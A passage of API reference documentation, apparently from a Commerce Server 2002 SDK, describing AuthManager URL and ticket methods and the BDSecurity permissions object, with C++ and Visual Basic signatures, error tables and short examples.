[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHID_INVALID_CHARACTER_PRESENT | [C++] 0xC1004C23 [Visual Basic] &HC1004C23 | Invalid character (';' or '%' or '=') present in the user ID.
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
MSG_UPM_AUTHID_TICKET_MAX_REACHED | [C++] 0xC1004C40 [Visual Basic] &HC1004C40 | The ticket has reached a maximum size of 4 Kilobytes of data.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The value for the user ID may be the logon name for a registered user, a globally unique identifier (GUID) for an anonymous user, or any unique value.

If the ticket does not exist, a ticket is created with default values for the rest of the data. If the appropriate ticket already exists, the value in the user ID is updated.

The following table defines the possible values for the EnumMSCS_TicketType.

Name | Value | Description
enumMSCS_ProfileTicketType | 1 | A MSCSProfile ticket used for an anonymous user.
enumMSCS_AuthTicketType | 2 | A MSCSAuth ticket used for a registered user.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetUserID enumMSCS_AuthTicketType, "JoeUser@microsoft.com"

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::UnInitialize Method [C++]

AuthManager.UnInitialize Method [Visual Basic]

Use this method to delete the site-specific configuration resource properties from the cache when the site is no longer valid.

Definition

[C++]
HRESULT IMSCSAuthManager::UnInitialize(
  BSTR bstrSiteName,
);
[Visual Basic]
Sub UnInitialize(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the name of the site.
bstrSiteName [Visual Basic]
[in] A String that contains the name of the site.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method must be called to disconnect the AuthManager object cache from the specified site.

The Initialize method loads the site configuration resource properties into the cache.

This method is available when the MSCSAuthManager object is instantiated outside of the context of an ASP script.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.UnInitialize(sSiteName)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::URLArgs Method [C++]

AuthManager.URLArgs Method [Visual Basic]

Use this method to generate a URL-encoded query string of name/value pairs.

Definition

[C++]
HRESULT IMSCSAuthManager::URLArgs(
  VARIANT* pVarURLParameters,
  VARIANT* pVarURLValues,
  BSTR* pbstrRet
);
[Visual Basic]
Function URLArgs(
  pVarURLParameters As Variant,
  pVarURLValues As Variant
) As String

Parameters

pVarURLParameters [C++]
[in] A pointer to a VARIANT containing a SAFEARRAY of parameter names.
pVarURLParameters [Visual Basic]
[in] A SafeArray that contains the parameter names.
pVarURLValues [C++]
[in] A pointer to a VARIANT containing a SAFEARRAY of parameter values corresponding to the parameter names.
pVarURLValues [Visual Basic]
[in] A SafeArray that contains the values corresponding to the parameter names.
pbstrRet [C++]
[out, retval] A pointer to a BSTR that contains the resulting URL-encoded query string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the encoded URL query string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method concatenates the parameter name/value pairs into a URL-encoded string. This method will fail if the two arrays containing the parameter names and values are not the same size.

The URLShopperArgs method performs the same URL encoding and additionally appends the ticket to the query string, if a ticket is set.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrRet parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' saParameterNames and saParameterValues are SafeArrays
' sURLArg is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku1"
saParameterNames(1) = "sku3"
saParameterValues(0) = "12345"
saParameterValues(1) = "98765"
sURLArg = oAuthManager.URLArgs(saParameterNames, saParameterValues)

' sURLArg = "?sku1=12345&sku3=98765"

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::URLShopperArgs

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.URLShopperArgs


IMSCSAuthManager2::URLShopperArgs Method [C++]

AuthManager.URLShopperArgs Method [Visual Basic]

Use this method to generate an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.

Definition

[C++]
HRESULT IMSCSAuthManager::URLShopperArgs(
  VARIANT* pVarURLParameters,
  VARIANT* pVarURLValues,
  BSTR* pbstrRet
);
[Visual Basic]
Function URLShopperArgs(
  pVarURLParameters As Variant,
  pVarURLValues As Variant
) As String

Parameters

pVarURLParameters [C++]
[in] A pointer to a VARIANT containing a SAFEARRAY of parameter names.
pVarURLParameters [Visual Basic]
[in] A SafeArray that contains the parameter names.
pVarURLValues [C++]
[in] A pointer to a VARIANT containing a SAFEARRAY of parameter values corresponding to the parameter names.
pVarURLValues [Visual Basic]
[in] A SafeArray that contains the values corresponding to the parameter names.
pbstrRet [C++]
[out, retval] A pointer to a BSTR that contains the resulting encoded-URL query string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the encoded-URL string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method concatenates the parameter name/value pairs into a URL-encoded string and appends the ticket. This is useful for shopping support without cookies. This method will fail if the two arrays containing the parameters and values are not the same size.

If both types of tickets exist, the MSCSAuth ticket takes precedence.

Use the URLArgs method to perform URL encoding of parameter/value pairs without appending the ticket.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrRet parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' saParameterNames and saParameterValues are SafeArrays
' sURLShopArg is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku1"
saParameterNames(1) = "sku3"
saParameterValues(0) = "12345"
saParameterValues(1) = "98765"
sURLShopArg = oAuthManager.URLShopperArgs(saParameterNames, saParameterValues)

' sURLShopArg =
' "?sku1=12345&sku3=98765&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E"

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::SetProperty

[C++] IMSCSAuthManager::SetAuthTicket

[C++] IMSCSAuthManager::SetProfileTicket

[C++] IMSCSAuthManager::URLArgs

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.SetProperty

[Visual Basic] AuthManager.SetAuthTicket

[Visual Basic] AuthManager.SetProfileTicket

[Visual Basic] AuthManager.URLArgs


BDSecurity Object [C++]

BDSecurity Object [Visual Basic]

Use this object to manage security settings used to control access to various functionality of Commerce Server Business Desk. These security settings are maintained in the Commerce Server database in the Security Definition Tables (SDT), which is comprised of the BDSecurityDefinition and BDSecurityIdentifiers database tables.

ProgID: | Commerce.BDSecurity (Externally creatable)
COM Class Name: | BDSecurity
Type Library Name: | BDSecurity 1.0 Type Library
DLL Name: | BDSecurity.dll
Threading Model: | Free
[C++]
COM Interface Name: | IBDSecurity
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IBDSecurity interface to access the methods of the BDSecurity object.

Methods

[C++]
Method | Description
AddAccount | Adds a new user or group account to the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
CanUserAccess | Determines whether the user has access rights to read the specified file. This method is included for backward-compatibility with Commerce Server 2000.
GetAccounts | Returns information about all of the accounts in the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetAccountsForRight | Returns information about all of the accounts associated with the specified combination of entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetPermissions | Returns permission information (allow, deny, or undefined) associated with the specified combination of security identifier (SID), entity, element, and right. This method is used by modules that make use of the Business Desk security settings to control access to various aspects of their functionality.
Initialize | Retrieves the connection string associated with the Business Desk security database and stores it within the object for use by the other methods. This method is generally only called within the page Global.asa in the course of initializing the global instance of the BDSecurity object referenced by the global variable g_MSCSBizDeskSecurity.
RemoveAccount | Remove the account associated with the specified security identifer (SID) from the Business Desk security database. It also removes all permissions associated with that account. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
RemoveSecurityDefinitions | Removes all permission and security definition settings associated with the specified combination of entity, element, and right from the Business Desk security database. This method is used by modules to clean up the SDT when a securable element under their control is deleted.
SetPermissions | Sets permission information (allow, deny, or undefined) for the specified combination of security identifier (SID), entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
[Visual Basic]
Method | Description
AddAccount | Adds a new user or group account to the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
CanUserAccess | Determines whether the user has access rights to read the specified file. This method is included for backward-compatibility with Commerce Server 2000.
GetAccounts | Returns information about all of the accounts in the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetAccountsForRight | Returns information about all of the accounts associated with the specified combination of entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetPermissions | Returns permission information (allow, deny, or undefined) associated with the specified combination of security identifier (SID), entity, element, and right. This method is used by modules that make use of the Business Desk security settings to control access to various aspects of their functionality.
Initialize | Retrieves the connection string associated with the Business Desk security database and stores it within the object for use by the other methods. This method is generally only called within the page Global.asa in the course of initializing the global instance of the BDSecurity object referenced by the global variable g_MSCSBizDeskSecurity.
RemoveAccount | Remove the account associated with the specified security identifer (SID) from the Business Desk security database. It also removes all permissions associated with that account. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
RemoveSecurityDefinitions | Removes all permission and security definition settings associated with the specified combination of entity, element, and right from the Business Desk security database. This method is used by modules to clean up the SDT when a securable element under their control is deleted.
SetPermissions | Sets permission information (allow, deny, or undefined) for the specified combination of security identifier (SID), entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.

Remarks

The methods provided by this object (other than the method CanUserAccess, which is provided for backward-compatibility with Commerce Server 2000) are used to manage the security settings stored in a pair of SQL tables, collectively known as the Security Definition Tables (SDT). In general, these methods are thin wrappers for underlying SQL stored procedures. Business Desk modules typically only call the GetPermissions method to retrieve the relevant security settings for the current user. How these settings are used to control and limit functionality within the module is entirely module-specific.

The following table shows the Business Desk feature areas that make use of the Business Desk security functionality in Commerce Server 2002.

Feature Area | Security Entities
Framework | Categories, modules, tasks
Catalogs | Catalogs, categories, property definitions
Profiles | Properties

See the source code for the Business Desk Framework and relevant categories for examples of how these security settings can be used. Note that the catalog modules cache the security settings for each of its entities as separate XML documents associated with the current session.

Most of the methods provided by this object are only intended for design time use by the Permissions module and dialog box in Business Desk. The exceptions are the methods GetPermissions and RemoveSecurityDefinitions. At run time, Business Desk modules can use the GetPermissions method to retrieve security settings so that they can enable or disable functionality as appropriate.

Modules can also use the RemoveSecurityDefinitions method to clean up the SDT if an entity, element, or right is dynamically removed. For example, if a catalog is deleted, all security settings associated with that catalog are removed from the SDT. For more information about entities, elements, rights, and permissions in the context of Business Desk security, see Security.

See Also

Core Objects


IBDSecurity Methods [C++]

BDSecurity Methods [Visual Basic]

Methods

[C++]
Method | Description
AddAccount | Adds a new user or group account to the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
CanUserAccess | Determines whether the user has access rights to read the specified file. This method is included for backward-compatibility with Commerce Server 2002.
GetAccounts | Returns information about all of the accounts in the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetAccountsForRight | Returns information about all of the accounts associated with the specified combination of entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetPermissions | Returns permission information (allow, deny, or undefined) associated with the specified combination of security identifier (SID), entity, element, and right. This method is used by modules that make use of the Business Desk security settings to control access to various aspects of their functionality.
Initialize | Retrieves the connection string associated with the Business Desk security database and stores it within the object for use by the other methods. This method is generally only called within the page Global.asa in the course of initializing the global instance of the BDSecurity object referenced by the global variable g_MSCSBizDeskSecurity.
RemoveAccount | Removes all accounts associated with the specified security identifer (SID) from the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
RemoveSecurityDefinitions | Removes all permission and security definition settings associated with the specified combination of entity, element, and right from the Business Desk security database. This method is used by modules to clean up the SDT when a securable element under their control is deleted.
SetPermissions | Sets permission information (allow, deny, or undefined) for the specified combination of security identifier (SID), entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
[Visual Basic]
Method | Description
AddAccount | Adds a new user or group account to the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
CanUserAccess | Determines whether the user has access rights to read the specified file. This method is included for backward-compatibility with Commerce Server 2002.
GetAccounts | Returns information about all of the accounts in the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetAccountsForRight | Returns information about all of the accounts associated with the specified combination of entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetPermissions | Returns permission information (allow, deny, or undefined) associated with the specified combination of security identifier (SID), entity, element, and right. This method is used by modules that make use of the Business Desk security settings to control access to various aspects of their functionality.
Initialize | Retrieves the connection string associated with the Business Desk security database and stores it within the object for use by the other methods. This method is generally only called within the page Global.asa in the course of initializing the global instance of the BDSecurity object referenced by the global variable g_MSCSBizDeskSecurity.
RemoveAccount | Removes all accounts associated with the specified security identifier (SID) from the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
RemoveSecurityDefinitions | Removes all permission and security definition settings associated with the specified combination of entity, element, and right from the Business Desk security database. This method is used by modules to clean up the SDT when a securable element under their control is deleted.
SetPermissions | Sets permission information (allow, deny, or undefined) for the specified combination of security identifier (SID), entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.


IBDSecurity::AddAccount Method [C++]

BDSecurity.AddAccount Method [Visual Basic]

This method is used by the Permissions module and dialog box to add new user or group accounts to the Security Definitions Tables (SDT).

Definition

[C++]
HRESULT IBDSecurity::AddAccount(
  BSTR bstrAccountName,
  _Recordset** ppRSAccount
);
[Visual Basic]
Function AddAccount(
  bstrAccountName As String,
) As _Recordset

Parameters

bstrAccountName [C++]
[in] A BSTR that contains the account name, either with or without a domain specifier. The account name can specify an individual user or a group.
bstrAccountName [Visual Basic]
A String that contains the account name, either with or without a domain specifier. The account name can specify an individual user or a group.
ppRSAccount [C++]
[out, retval] The address of a pointer to an ADO _Recordset object used to return information about the newly added account. See the Remarks section for more details.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO _Recordset object that contains information about the newly added account. See the Remarks section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules other than the Permissions module and dialog box.

The returned record set contains a single record for the added user or group and includes the fields: SID (security identifier), AccountName, and IsGroup.

This method must be called for a particular account before the SetPermissions method is called for that account.

[Java, C++] The ppRSAccount parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsAccount is a Variant to which an ADO _Recordset object will be assigned.
' g_MSCSBizDeskSecurity is the global BD security object created in the page Global.asa.

rsAccount = g_MSCSBizDeskSecurity.AddAccount("domain1\joeuser")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::CanUserAccess Method [C++]

BDSecurity.CanUserAccess Method [Visual Basic]

Use this method to determine whether the current user has read access rights to the specified Commerce Server Business Desk module.

This method is included for backward-compatibility with Commerce Server 2002. It is not part of the new Business Desk security mechanism.

Definition

[C++]
HRESULT IBDSecurity::CanUserAccess(
  BSTR bstrPath,
  VARIANT_BOOL* pbAccessOK
);
[Visual Basic]
Function CanUserAccess(
  bstrPath As String,
) As Boolean

Parameters

bstrPath [C++]
[in] A BSTR that contains the file name and path for a Business Desk module.
bstrPath [Visual Basic]
A String that contains the file name and path for a Business Desk module.
pbAccessOK [C++]
[out, retval] The address of a VARIANT_BOOL used to return either TRUE or FALSE. A value of TRUE indicates that the current user has read access rights to the specified file. A value of FALSE indicates that the current user does not have read access rights to the specified file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean set to either True or False. A value of True indicates that the current user has read access rights to the specified file. A value of False indicates that the current user does not have read access rights to the specified file.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Whether the user has read access to the specified Business Desk module is determined from the entries in the access control lists (ACLs) set for the action page ASP file.

[C++] The pbAccessOK parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' bAccess is a Boolean
' oBDSecurity is a Commerce.BDSecurity object
' CatalogEditor.asp is an ASP page corresponding to a Business Desk module

bAccess = oBDSecurity.CanUserAccess("CatalogEditor.asp")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::GetAccounts Method [C++]

BDSecurity.GetAccounts Method [Visual Basic]

This method is used by the Permissions module and dialog box to retrieve a list of all accounts currently in the Security Definitions Tables (SDT).

Definition

[C++]
HRESULT IBDSecurity::GetAccounts(
  _Recordset** ppRSAccounts
);
[Visual Basic]
Function GetAccounts(
) As _Recordset

Parameters

ppRSAccounts [C++]
[out, retval] The address of a pointer to an ADO _Recordset object used to return information about all accounts that are currently present in the Security Definition Table (SDT). See the Remarks for section for more details.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO _Recordset object used to return information about all accounts. See the Remarks section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules other than the Permissions module and dialog box.

The returned record set contains one record per account in the SDT and includes the fields: SID (security identifier), AccountName, and IsGroup.

[C++] The ppRSAccounts parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsAccounts is a Variant to which an ADO _Recordset object
' will be assigned.
' g_MSCSBDSecurity is the global BD security object
' created in the page Global.asa.

rsAccounts = g_MSCSBDSecurity.GetAccounts

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::GetAccountsForRight Method [C++]

BDSecurity.GetAccountsForRight Method [Visual Basic]

This method is used by the Permissions module and dialog box to retrieve information about all of the accounts associated with the specified combination of entity, element, and right.

Definition

[C++]
HRESULT IBDSecurity::GetAccountsForRight(
  BSTR bstrEntity,
  VARIANT varElement
  VARIANT varRight
  _Recordset** ppRSAccounts
);
[Visual Basic]
Function GetAccountsForRight(
  bstrEntity As String,
  Optional varElement As Variant,
  Optional varRight As Variant,
) As _Recordset

Parameters

bstrEntity [C++]
[in] A BSTR that contains the name of the entity for which records will be returned.
bstrEntity [Visual Basic]
A String that contains the name of the entity for which records will be returned.
varElement [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the element for which records will be returned.
varElement [Visual Basic]
An optional Variant that contains a string specifying the name of the element for which records will be returned.
varRight [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the right for which records will be returned.
varRight [Visual Basic]
An optional Variant that contains a string specifying the name of the right for which records will be returned.
ppRSAccounts [C++]
[out, retval] The address of a pointer to an ADO _Recordset object used to return account and permission information corresponding to the provided entity, element and right. See the Remarks section for more details.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO _Recordset object containing the account and permission information corresponding to the provided entity, element, and right. See the Remarks section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules other than the Permissions module and dialog box.

The returned record set contains one record per matching account in the SDT and includes the fields: SID (security identifier), Entity, Element, Right, and Deny.

If either of the optional parameters (varElement and/or varRight), is not provided, they are treated as wildcards. In other words, records will be included in the result regardless of their element and/or right values.

[C++] The ppRSAccounts parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsAccounts is a Variant to which an ADO _Recordset object
' will be assigned.
' g_MSCSBDSecurity is the global BD security object
' created in the page Global.asa.

' Will return a Recordset containing one record for each account that
' has been explicitly set as allowed or disallowed from editing the
' shoes category within a catalog.

rsAccounts = _
    g_MSCSBDSecurity.GetAccountsForRight("Category", _
                                              "Shoes", _
                                              "edit")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::GetPermissions Method [C++]

BDSecurity.GetPermissions Method [Visual Basic]

Use this method to retrieve permission information (allow, deny, or undefined) associated with the specified combination of security identifier (SID), entity, element, and right.

Definition

[C++]
HRESULT IBDSecurity::GetPermissions(
  VARIANT varSID,
  VARIANT varEntity,
  VARIANT varElement,
  VARIANT varRight,
  _Recordset** ppRSPermissions
);
[Visual Basic]
Function GetPermissions(
  Optional varSID As Variant,
  Optional varEntity As Variant,
  Optional varElement As Variant,
  Optional varRight As Variant,
) As _Recordset

Parameters

varSID [C++]
[in, optional] An optional VARIANT that contains a string specifying the security identifier (SID) of the account for which permissions are being requested.
varSID [Visual Basic]
An optional Variant that contains a string specifying the security identifier (SID) of the account for which permissions are being requested.
varEntity [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the entity for which permissions are being requested.
varEntity [Visual Basic]
An optional Variant that contains a string specifying the name of the entity for which permissions are being requested.
varElement [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the element for which permissions are being requested.
varElement [Visual Basic]
An optional Variant that contains a string specifying the name of the element for which permissions are being requested.
varRight [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the right for which permissions are being requested.
varRight [Visual Basic]
An optional Variant that contains a string specifying the name of the right for which permissions are being requested.
ppRSPermissions [C++]
[out, retval] The address of a pointer to an ADO _Recordset object used to return the requested permission information. See the Remarks section for more details.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO _Recordset object containing the requested permission information. See the Remarks section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method should be called from Business Desk modules using the new security mechanisms to control access to various aspects of their functionality.

The returned record set contains one record for each matching entry in the Security Definitions Tables (SDT) and includes the fields: Entity, Element, Right, and Deny.

The fields Entity, Element, and Right are strings that are module-specific, and can be defined to suite the needs of the module. For more information about entities, elements, and rights, see Security.

The field Deny contains one of three numeric values, defined in the following table.

Value | Definition
0 | Allow. The current user has the right to perform the operation indicated by the corresponding Element, Entity, and Right fields.
1 | Deny. The current user does not have the right to perform the operation indicated by the corresponding Element, Entity, and Right fields.
2 | Undefined. For example, the current user has conflicting permissions for different elements of the provided entity.

If the optional parameter varSID is not specified, this function will look up and use the SIDs for the current user and for the groups to which the current user belongs. If no such SID is available, as is the case in some run-time environments such as Microsoft Visual Basic, an error will be returned.

If any of the other optional parameters (varEntity, varElement and/or varRight) are not provided, they are treated as wildcards. In other words, records will be included in the result regardless of their entity, element, and/or right values.

If no security settings are found in the SDT and the user is a member of the Administrators group, a single row Recordset object will be returned, indicating that the user does have permission to access the requested entity/element/right combination.

[C++] The ppRSPermissions parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsPermissions is a Variant to which an ADO _Recordset object
'  will be assigned.
' g_MSCSBDSecurity is the global BD security object
' created in the page Global.asa.

' Will return a Recordset containing one record for each catalog
' category entity entry in the SDT for the current user, regardless
' of their values for elements and rights.

rsPermissions = _
    g_MSCSBDSecurity.GetPermissions(, "catalog_categories")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::Initialize Method [C++]

BDSecurity.Initialize Method [Visual Basic]

This method is used on the page Global.asa to initialize the global BDSecurity object referenced by the global variable g_MSCSBizDeskSecurity. If you create your own instance of the BDSecurity object, make sure that you call this method before calling any other methods (other than the backward-compatibility method CanUserAccess).

Definition

[C++]
HRESULT IBDSecurity::Initialize(
  BSTR bstrSiteName,
);
[Visual Basic]
Sub Initialize(
  bstrSiteName As String,
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the name of the site for which the BDSecurity object is being initialized.
bstrSiteName [Visual Basic]
A String that contains the name of the site for which the BDSecurity object is being initialized.

Return Values

